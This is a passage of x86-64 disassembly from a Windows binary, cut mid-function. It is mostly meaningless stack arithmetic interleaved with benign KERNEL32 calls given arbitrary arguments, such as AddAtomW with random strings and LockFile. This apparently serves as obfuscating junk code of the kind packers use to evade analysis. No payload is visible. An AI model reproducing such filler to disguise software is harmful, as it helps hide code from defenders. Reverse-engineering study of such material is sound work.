mov ecx, dword [rsp + 0x9f00]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14458]
mov dword [rcx], eax
lea rax, [rsp + 0x1038]
mov qword [rsp + 0x16938], rax
mov rax, qword [rsp + 0x14b28]
movzx eax, byte [rax]
movzx ecx, byte [0x1403535a7]
sub eax, ecx
mov byte [rsp + 0x73d], al
mov rax, qword [rsp + 0x16570]
movzx eax, byte [rax]
mov byte [rsp + 0x75a], al
movsx eax, word [rsp + 0x2344]
movsx ecx, word [rsp + 0x16c8]
sub eax, ecx
mov word [rsp + 0x2de4], ax
mov eax, dword [0x14035cc30]
movzx ecx, al
mov eax, dword [rsp + 0xa9dc]
shr eax, cl
mov rcx, qword [0x140363c50]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb144], eax
mov rax, qword [rsp + 0x16350]
mov ecx, dword [rsp + 0xb2c8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7884], eax
lea rax, [rsp + 0x1430]
mov qword [rsp + 0x16940], rax
movzx eax, byte [rsp + 0x708]
mov rcx, qword [rsp + 0x16020]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x6c0], al
lea rcx, str.PVYClDn
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e34], ax
mov rax, qword [rsp + 0x137e8]
mov ecx, dword [rsp + 0xb148]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9cf0], eax
mov rax, qword [rsp + 0x14720]
mov rcx, qword [rsp + 0x13be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa248], eax
lea rax, [rsp + 0xafc0]
mov qword [rsp + 0x16948], rax
xor r9d, r9d
lea r8, [rsp + 0x13980]
mov rdx, qword [rsp + 0x13268]
mov rcx, qword [rsp + 0x13260]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xaf78], eax
mov rax, qword [rsp + 0x16710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacf8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15d78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [0x14035e506]
sub eax, ecx
mov rcx, qword [rsp + 0x158d8]
mov byte [rcx], al
mov rax, qword [rsp + 0x14ae0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a38]
sub eax, ecx
mov word [0x14035ccc4], ax
lea rax, [rsp + 0xa944]
mov qword [rsp + 0x16950], rax
mov eax, dword [rsp + 0x8a30]
mov ecx, dword [rsp + 0xabb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xad2c], eax
lea rax, [rsp + 0x8958]
mov qword [rsp + 0x16958], rax
mov eax, dword [rsp + 0xb03c]
mov ecx, dword [rsp + 0xac78]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb21c], eax
mov rax, qword [rsp + 0x14838]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8d8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7030], eax
mov rax, qword [rsp + 0x14768]
movzx eax, word [rax]
mov word [rsp + 0x2e38], ax
mov rax, qword [rsp + 0x168e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6f1]
or eax, ecx
mov rcx, qword [rsp + 0x168e0]
mov byte [rcx], al
lea rax, [rsp + 0x58b]
mov qword [rsp + 0x16960], rax
movzx eax, word [rsp + 0x11b0]
mov rcx, qword [rsp + 0x15e98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140363a40]
mov word [rcx], ax
mov rax, qword [rsp + 0x167b0]
mov rcx, qword [rsp + 0x153a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x162d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x16640]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x16510]
mov qword [rsp + 0x16968], rcx
movzx ecx, al
mov rax, qword [rsp + 0x16968]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xb2f4], eax
movzx eax, byte [rsp + 0x65c]
mov byte [rsp + 0x75b], al
mov rax, qword [rsp + 0x15a58]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15fd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x29c0], ax
lea rax, [0x140363f14]
mov qword [rsp + 0x16970], rax
mov eax, dword [rsp + 0x8808]
mov ecx, dword [rsp + 0xa7dc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xaeb4], eax
mov rax, qword [rsp + 0x14d70]
mov rcx, qword [rsp + 0x15ee0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9da4], eax
mov rax, qword [0x140363b58]
mov rcx, qword [rsp + 0x163d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xafac], eax
mov rax, qword [rsp + 0x14738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14e98]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140363f30]
mov word [rcx], ax
mov rax, qword [rsp + 0x139e0]
movzx eax, byte [rax]
mov rcx, qword [0x140363e78]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x140a8]
mov byte [rcx], al
lea rax, [rsp + 0x6b44]
mov qword [rsp + 0x16978], rax
mov rax, qword [rsp + 0x15950]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb060]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xafc8], eax
lea rax, [0x14035e4a5]
mov qword [rsp + 0x16980], rax
mov dword [rsp + 0x20], 0x26eb
mov r9d, 0x2b03
mov r8d, 0x347f
mov edx, 0x8ad
mov rcx, qword [rsp + 0x159c0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb2f8], eax
mov rax, qword [rsp + 0x13b88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a3c]
add eax, ecx
mov rcx, qword [rsp + 0x15ad0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14948]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x166]
sub eax, ecx
mov byte [rsp + 0x48d], al
movzx eax, word [rsp + 0x2c8c]
mov word [rsp + 0x2e3c], ax
mov eax, dword [rsp + 0xb20c]
mov ecx, dword [rsp + 0xae08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x159a0]
mov dword [rcx], eax
lea rax, [rsp + 0xb018]
mov qword [0x1403641c8], rax
mov rax, qword [rsp + 0x15700]
mov rcx, qword [0x140363db0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8a38], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7c8], eax
mov rax, qword [rsp + 0x13b48]
mov ecx, dword [rsp + 0xab64]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xb1dc], eax
mov rax, qword [rsp + 0x151f0]
mov rcx, qword [rsp + 0x13c08]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x9430], eax
movzx eax, byte [rsp + 0x723]
mov byte [rsp + 0x75c], al
mov rax, qword [rsp + 0x15ba8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13208]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x15a08]
mov word [rcx], ax
lea rax, [rsp + 0x9218]
mov qword [rsp + 0x16988], rax
mov eax, dword [rsp + 0xa8a0]
movzx ecx, al
mov eax, dword [0x14035cc1c]
shl eax, cl
mov dword [rsp + 0x7ea0], eax
mov rax, qword [rsp + 0x15040]
mov ecx, dword [rsp + 0x7d60]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14800]
mov dword [rcx], eax
mov eax, dword [rsp + 0x8718]
mov dword [0x1403641d0], eax
lea rax, [rsp + 0x71e]
mov qword [rsp + 0x16990], rax
movzx ecx, word [rsp + 0x2c60]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e14], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
movzx eax, word [rsp + 0x1038]
mov rcx, qword [rsp + 0x13a20]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2b20], ax
mov rax, qword [rsp + 0x16758]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14bc0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x37f], al
movsx eax, word [0x14035cc20]
movsx ecx, word [rsp + 0x2b54]
or eax, ecx
mov rcx, qword [rsp + 0x15e90]
mov word [rcx], ax
mov rax, qword [rsp + 0x143f0]
mov eax, dword [rax]
mov dword [rsp + 0xb2fc], eax
mov eax, dword [rsp + 0xb128]
mov ecx, dword [rsp + 0x8a08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15838]
mov dword [rcx], eax
mov rax, qword [0x140364178]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15168]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x12fe8]
mov word [rcx], ax
lea rax, [rsp + 0x6fa]
mov qword [rsp + 0x16998], rax
mov rax, qword [rsp + 0x13820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb038]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x140363d00]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14a88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb2c4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa96c], eax
mov rax, qword [rsp + 0x15cd8]
mov eax, dword [rax]
mov dword [rsp + 0xb300], eax
mov eax, dword [0x140363a20]
mov ecx, dword [rsp + 0xad24]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15428]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2b2c]
mov rcx, qword [rsp + 0x15800]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x146e0]
mov word [rcx], ax
lea rax, [rsp + 0x731]
mov qword [rsp + 0x169a0], rax
mov rax, qword [rsp + 0x147d0]
mov ecx, dword [rsp + 0xb23c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x132e0]
mov ecx, dword [rsp + 0xb250]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8b10], eax
mov rax, qword [rsp + 0x14128]
mov rcx, qword [rsp + 0x165e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa8b0], eax
mov rax, qword [rsp + 0x16220]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15ce8]
mov qword [rsp + 0x169a8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x169a8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [0x140363cd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaf80]
movzx ecx, al
mov eax, dword [rsp + 0xb1e4]
sar eax, cl
mov dword [rsp + 0x8db4], eax
movzx eax, word [rsp + 0x2bd0]
mov word [rsp + 0x2e40], ax
movsx eax, byte [0x14035e4a7]
mov rcx, qword [rsp + 0x16570]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x734], al
movzx eax, byte [rsp + 0x708]
mov rcx, qword [rsp + 0x13678]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x553], al
mov rax, qword [0x140363c60]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b64]
and eax, ecx
mov rcx, qword [rsp + 0x15a58]
mov word [rcx], ax
mov rax, qword [rsp + 0x132c0]
mov eax, dword [rax]
mov dword [rsp + 0xb304], eax
mov rax, qword [rsp + 0x134a8]
mov ecx, dword [rsp + 0xaaa0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8188], eax
mov rax, qword [rsp + 0x14f98]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cb4]
or eax, ecx
mov word [rsp + 0x223c], ax
mov rax, qword [rsp + 0x14180]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [str.1itfN], al
mov eax, dword [rsp + 0xae94]
mov dword [rsp + 0xb308], eax
mov rax, qword [rsp + 0x15740]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad00]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xb10c], eax
mov eax, dword [rsp + 0x7a74]
mov ecx, dword [rsp + 0xb07c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e48], eax
mov rax, qword [rsp + 0x15a28]
mov ecx, dword [rsp + 0x7564]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13450]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15988]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a18]
sub eax, ecx
mov word [rsp + 0x2d2c], ax
movzx eax, byte [rsp + 0x6be]
mov byte [rsp + 0x75d], al
mov rax, qword [0x140363998]
mov ecx, dword [rsp + 0x78e4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x16360]
mov dword [rcx], eax
lea rax, [rsp + 0x7c98]
mov qword [rsp + 0x169b0], rax
movsx eax, byte [rsp + 0x6b0]
movsx ecx, byte [rsp + 0x4c5]
sar eax, cl
mov byte [0x1403535ba], al
mov rax, qword [rsp + 0x14000]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14640]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d28], ax
mov rax, qword [rsp + 0x13870]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa1]
or eax, ecx
mov rcx, qword [rsp + 0x13740]
mov byte [rcx], al
lea rax, [rsp + 0x299c]
mov qword [rsp + 0x169b8], rax
mov rax, qword [rsp + 0x14bc8]
mov eax, dword [rax]
mov ecx, dword [0x140363bfc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa948], eax
lea rcx, str.IJ0GrK_ZJM0c_pdgdqu_WWv
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e44], ax
mov rax, qword [rsp + 0x15918]
mov rcx, qword [rsp + 0x150d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62a8], eax
mov eax, dword [rsp + 0x956c]
mov ecx, dword [rsp + 0xae0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa9b0], eax
mov rax, qword [rsp + 0x15b60]
mov rcx, qword [rsp + 0x14710]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14d70]
mov dword [rcx], eax
lea rdx, [rsp + 0x14b78]
mov rcx, qword [rsp + 0x15ff8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xafe8], eax
lea rax, [rsp + 0xaee8]
mov qword [rsp + 0x169c0], rax
mov rax, qword [0x1403641a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1c44]
add eax, ecx
mov rcx, qword [rsp + 0x146b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x15a88]
movzx eax, byte [rax]
mov byte [0x14035e585], al
mov eax, dword [rsp + 0x6b80]
mov dword [rsp + 0xb30c], eax
mov eax, dword [0x140363b44]
mov ecx, dword [rsp + 0x8b10]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16260]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15e68]
mov eax, dword [rax]
mov dword [rsp + 0xb310], eax
mov rax, qword [rsp + 0x162a8]
mov ecx, dword [rsp + 0xac54]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8f8], eax
movzx eax, byte [rsp + 0x119]
movzx ecx, byte [rsp + 0x23b]
sub eax, ecx
mov rcx, qword [rsp + 0x14ad8]
mov byte [rcx], al
lea rax, [rsp + 0x2bd8]
mov qword [rsp + 0x169c8], rax
movsx eax, word [rsp + 0x29c4]
movsx ecx, word [rsp + 0x11cc]
and eax, ecx
mov rcx, qword [rsp + 0x16490]
mov word [rcx], ax
movsx eax, byte [rsp + 0x6fb]
mov rcx, qword [rsp + 0x161d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2ef], al
mov rax, qword [rsp + 0x13f88]
mov eax, dword [rax]
mov dword [0x1403641d4], eax
mov rax, qword [rsp + 0x14338]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15618]
mov qword [rsp + 0x169d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x169d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xab8c], eax
movzx eax, byte [rsp + 0xb4]
movzx ecx, byte [rsp + 0x6b1]
xor eax, ecx
mov byte [rsp + 0x5fb], al
mov r9d, 2
lea r8, [rsp + 0x138f8]
mov rdx, qword [rsp + 0x14a18]
mov rcx, qword [rsp + 0x15888]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb314], eax
mov rax, qword [rsp + 0x16500]
movzx eax, word [rax]
mov word [rsp + 0x2e48], ax
mov rax, qword [rsp + 0x13970]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa7d4]
sar eax, cl
mov rcx, qword [rsp + 0x13d40]
mov dword [rcx], eax
mov rax, qword [0x140364040]
mov rcx, qword [rsp + 0x160a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x687c], eax
movzx ecx, word [rsp + 0x2c40]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cc0], ax
mov rax, qword [rsp + 0x15f60]
mov ecx, dword [rsp + 0x8670]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15010]
mov dword [rcx], eax
mov rax, qword [0x140363b60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb084]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb1f0], eax
mov rax, qword [rsp + 0x13af0]
movzx eax, word [rax]
mov word [rsp + 0x2e4c], ax
mov rax, qword [rsp + 0x14798]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14d68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14035359f], al
mov rax, qword [rsp + 0x16468]
mov ecx, dword [rsp + 0xaca4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15fe8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x8b3c]
mov qword [rsp + 0x169d8], rax
mov rax, qword [rsp + 0x166b0]
mov ecx, dword [rsp + 0x71c4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x15970]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14d30]
mov ecx, dword [rsp + 0xabdc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14e30]
mov dword [rcx], eax
mov eax, dword [rsp + 0x7784]
mov dword [rsp + 0xb318], eax
mov rax, qword [rsp + 0x14768]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14390]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x13a98]
mov word [rcx], ax
mov rax, qword [0x140363ee0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x73a]
add eax, ecx
mov byte [rsp + 0x645], al
movzx eax, word [rsp + 0x2df4]
mov rcx, qword [rsp + 0x15c68]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d5c], ax
lea rax, [rsp + 0x567]
mov qword [0x1403641d8], rax
mov rax, qword [0x140363d98]
mov eax, dword [rax]
mov dword [rsp + 0xb31c], eax
mov eax, dword [rsp + 0x67dc]
mov ecx, dword [rsp + 0xa8d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14348]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14330]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c7c]
shl eax, cl
mov rcx, qword [rsp + 0x16500]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae74], eax
lea rax, [0x14035e505]
mov qword [rsp + 0x169e0], rax
mov rax, qword [rsp + 0x14250]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xad4c]
sar eax, cl
mov rcx, qword [rsp + 0x165e8]
mov dword [rcx], eax
mov r9d, 1
lea r8, [rsp + 0x13980]
mov rdx, qword [rsp + 0x14818]
mov rcx, qword [rsp + 0x163b8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xabe8], eax
lea rax, [rsp + 0xb010]
mov qword [rsp + 0x169e8], rax
mov rax, qword [rsp + 0x137d0]
mov rcx, qword [0x140364198]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x13730]
mov dword [rcx], eax
mov rax, qword [rsp + 0x139c8]
mov rcx, qword [rsp + 0x16600]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x910c], eax
mov rax, qword [rsp + 0x160a8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x152a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x140362e3c], ax
mov rax, qword [rsp + 0x16178]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x720]
and eax, ecx
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0x15300]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa944]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x168a8]
mov dword [rcx], eax
lea rax, [rsp + 0x910c]
mov qword [rsp + 0x169f0], rax
movsx eax, byte [rsp + 0x6f9]
movsx ecx, byte [rsp + 0x738]
add eax, ecx
mov rcx, qword [rsp + 0x143e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x13e60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x13108]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2a90], ax
lea rax, [0x140362b7c]
mov qword [rsp + 0x169f8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, byte [rsp + 0x24b]
mov rcx, qword [rsp + 0x14588]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x14b60]
mov eax, dword [rax]
mov dword [rsp + 0xb320], eax
lea rax, [rsp + 0xa908]
mov qword [0x1403641e0], rax
mov rax, qword [rsp + 0x16948]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa28]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b00], eax
mov eax, dword [rsp + 0xafc4]
mov ecx, dword [rsp + 0x7830]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7fc8], eax
mov rax, qword [rsp + 0x15040]
mov rcx, qword [rsp + 0x145c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x163d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14c28]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x14b48]
mov word [rcx], ax
mov qword [rsp + 0x20], 0
mov r9d, 0x1bab
mov r8d, 0x100f
mov edx, 0xba
mov rcx, qword [rsp + 0x160b0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xb2b4], eax
movzx ecx, word [rsp + 0x2a94]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2dc4], ax
mov rax, qword [rsp + 0x14180]
movzx eax, byte [rax]
mov byte [rsp + 0x75e], al
lea rcx, str.8_xQC8i_X33BrlfRa
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e50], ax
mov rax, qword [rsp + 0x14bb8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb1b8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x133c8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6288]
mov dword [rsp + 0xb324], eax
mov eax, dword [rsp + 0x6b84]
movzx ecx, al
mov eax, dword [rsp + 0xa884]
shl eax, cl
mov dword [rsp + 0xa8ec], eax
mov eax, dword [rsp + 0x9ca0]
mov ecx, dword [rsp + 0xaab8]
and ecx, eax
mov eax, ecx
mov rcx, qword [0x140363e38]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x75d]
movzx ecx, byte [rsp + 0x256]
add eax, ecx
mov byte [rsp + 0x65d], al
lea rax, [rsp + 0x2cf8]
mov qword [rsp + 0x16a00], rax
mov rax, qword [rsp + 0x14b30]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x155f0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2a0c], ax
movsx eax, byte [rsp + 0x32c]
mov rcx, qword [rsp + 0x13560]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x438], al
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa54]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x16950]
mov dword [rcx], eax
mov rax, qword [rsp + 0x163e0]
mov rcx, qword [rsp + 0x13508]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x168d8]
mov dword [rcx], eax
lea rax, [rsp + 0x2c64]
mov qword [rsp + 0x16a08], rax
movzx eax, byte [0x14035e545]
mov rcx, qword [rsp + 0x136e8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x13440]
mov byte [rcx], al
mov rax, qword [rsp + 0x15c60]
mov rcx, qword [rsp + 0x160a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14035ccc8], eax
lea rax, [rsp + 0xa684]
mov qword [rsp + 0x16a10], rax
mov rax, qword [0x1403639a0]
mov ecx, dword [rsp + 0xa854]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15e60]
mov dword [rcx], eax
lea rdx, [rsp + 0x141f0]
mov rcx, qword [rsp + 0x160b0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xb218], eax
mov rax, qword [rsp + 0x13350]
mov ecx, dword [rsp + 0x7b68]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13ca0]
mov dword [rcx], eax
lea rax, [rsp + 0x58b]
mov qword [rsp + 0x16a18], rax
mov rax, qword [rsp + 0x158b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13af0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x14870]
mov word [rcx], ax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov dword [rsp + 0xb328], eax
mov eax, dword [rsp + 0xa9c0]
movzx ecx, al
mov eax, dword [rsp + 0x763c]
sar eax, cl
mov rcx, qword [rsp + 0x13c80]
mov dword [rcx], eax
lea rax, [rsp + 0xa7dc]
mov qword [rsp + 0x16a20], rax
mov rax, qword [rsp + 0x16308]
mov ecx, dword [rsp + 0x7784]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [0x140364198]
mov dword [rcx], eax
mov eax, dword [0x140363a64]
movzx ecx, al
mov eax, dword [rsp + 0xa920]
shl eax, cl
mov rcx, qword [rsp + 0x16588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x159b0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14578]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x21a0], ax
lea rdx, [rsp + 0x45fc0]
mov rcx, qword [rsp + 0x16538]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xb32c], eax
lea rax, [rsp + 0x72f]
mov qword [rsp + 0x16a28], rax
mov rax, qword [rsp + 0x13fb8]
movzx eax, byte [rax]
mov rcx, qword [0x140364140]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14bf0]
mov byte [rcx], al
movzx eax, word [rsp + 0x2a14]
mov rcx, qword [rsp + 0x168c8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2230], ax
mov rax, qword [rsp + 0x157e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7338]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x160c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0xa9f0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x15010]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13050]
movzx eax, word [rax]
mov word [rsp + 0x2e54], ax
movzx eax, byte [rsp + 0x567]
mov rcx, qword [rsp + 0x15270]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1403535bb], al
movzx ecx, word [rsp + 0x2ab0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2c44], ax
mov rax, qword [rsp + 0x136b0]
mov ecx, dword [rsp + 0x7a90]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaf8c], eax
mov eax, dword [rsp + 0x9cf0]
mov dword [rsp + 0xb330], eax
mov rax, qword [rsp + 0x14628]
mov ecx, dword [0x140363a60]
